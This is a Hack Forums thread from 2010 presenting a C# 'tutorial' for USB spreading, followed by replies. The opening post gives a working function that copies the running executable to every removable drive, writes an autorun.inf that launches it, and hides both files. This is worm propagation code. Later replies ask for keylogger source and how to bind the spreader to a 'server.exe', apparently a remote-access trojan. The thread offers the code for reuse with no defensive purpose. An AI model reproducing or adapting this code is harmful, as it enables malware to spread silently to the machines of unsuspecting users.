

Forum:[Hack Forums](#)

Thread: [\[C#\]\[TUT\]USB Spread](#)

Coblex - October 17, 2010, 11:52 am

USB Spreading is actually very easy to perform. Algorithm to do so consists of 4 steps:

1. Getting the list of USB drives
2. Copying file(s) to USB drive
3. Editing autorun.inf file
4. Hiding autorun.inf and copied files

In this tutorial i'm using C#, but it can be done in any programming language. This is function that spreads the running file to the all USB drives. If you are just copying my code, please give me some credits.

Code using System.IO;

```
void USBSpread()
{
    DriveInfo[] Drives = DriveInfo.GetDrives();
    foreach (DriveInfo drive in drives)
    {
        if (drive.DriveType == DriveType.Removable)
        {
            StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
            writer.WriteLine("[autorun]\n");
            writer.WriteLine("open=file.exe");
            writer.WriteLine("action=Run win32");
            writer.Close();
            File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name +
"autorun.inf") | FileAttributes.Hidden);
            File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe",
true);
            File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") |
FileAttributes.Hidden);
        }
    }
}
```

Quays - October 17, 2010, 11:53 am

Great Tut! Thanks Bro! :)

JaNveL - October 17, 2010, 11:54 am

GJ Bro... +REP

:D ;) continue to write tutorials.. You will be have VIP on this 4um :D

The-Noob - October 17, 2010, 11:57 am

thanks for the share! I'm still in 2 minds to change from vb.net to c# i love vb.net :(but wanna learn something new....

killerdoob420 - October 17, 2010, 11:59 am

Why do i have the feeling that the first 3 posters are the same guy?

JaNveL - October 17, 2010, 12:17 pm

you bad wrong feel :D
we don't now each other

Ablaze - October 17, 2010, 12:52 pm

+rep even though they guy is a reg member lol?

I think its the same dude too.

Idk what hed get off doing that.

Coblex - October 17, 2010, 1:18 pm

Why on earth would i create 3 fake profiles???BTW you can see difference between my and JaNveL's grammar...-.-

S!rk0 - October 17, 2010, 2:02 pm

Good bro, thank's you for sharing ...

claymore - November 9, 2010, 11:16 am

Can someone explain me, Why Assembly.GetExecutingAssembly().Location is used, why not just "test.exe" here?

Joey K - November 9, 2010, 11:50 am

I don't see how this is your code. You can find the exact same code posted everywhere on HF.

walidbj - November 26, 2010, 6:54 am

thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function

Fame - November 26, 2010, 7:03 am

(Nov 26, 2010 07:54 AM)walidbj Wrote: [\[CITE\]](#) thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function
IOL WTF C# and C++ are totally different..

00niels00 - November 26, 2010, 7:16 am

What tutorial? There is no tutorial.
Also this source is not made by you.
I think it's made by t0fx.

Fabric - November 26, 2010, 7:34 am

good tut keep up the good work

walidbj - November 26, 2010, 7:51 am

(Nov 26, 2010 08:03 AM)terabitez Wrote: [\[CITE\]](#) IOL WTF C# and C++ are totally different..
yeah but for it was so easy learning c# cause i already used c++ so there is a lot of similarity. I wanted to say that it's more easy to program in c# instead of visual basic (major of keylogger tutorial language) when you are experimented with c++

loganste123 - January 17, 2011, 12:20 pm

Im new to scripting, can somebody explain where I would put this code and would I just bind it to my server.exe that I have already made?

Nonmod - January 17, 2011, 12:36 pm

This code is uneffiecent and ugly.

- 1.Looping through each drives(even A:) and writing into them, obviously will throw errors.
 - 2.The signature of this method is incorrect, you will never know if method is completed succesfully.
 - 3.Creation of an array and then again creating a new array, leaving the first one unused for GC.
- (uneffecient)

loganste123 - January 17, 2011, 1:01 pm

(Jan 17, 2011 01:36 PM)Nonmod Wrote: [\[CITE\]](#) This code is uneffiecent and ugly.

- 1.Looping through each drives(even A:) and writing into them, obviously will throw errors.
 - 2.The signature of this method is incorrect, you will never know if method is completed succesfully.
 - 3.Creation of an array and then again creating a new array, leaving the first one unused for GC.
- (uneffecient)

so im guessing dont use this?

Nonmod - January 17, 2011, 1:05 pm

(Jan 17, 2011 02:01 PM)loganste123 Wrote: [\[CITE\]](#) so im guessing dont use this?

Can you use this? Yes.

Is it recommended? No.

loganste123 - January 17, 2011, 4:11 pm

(Jan 17, 2011 02:05 PM)Nonmod Wrote: [\[CITE\]](#) Can you use this? Yes.

Is it recommended? No. hahah made my day:) Is there a program on the forum that will bind 2 files together and enable usb spreading?

loganste123 - January 17, 2011, 5:54 pm

(Jan 17, 2011 02:05 PM)Nonmod Wrote: [\[CITE\]](#) Can you use this? Yes.

Is it recommended? No.

Okay thanks. ill just find somthing elss.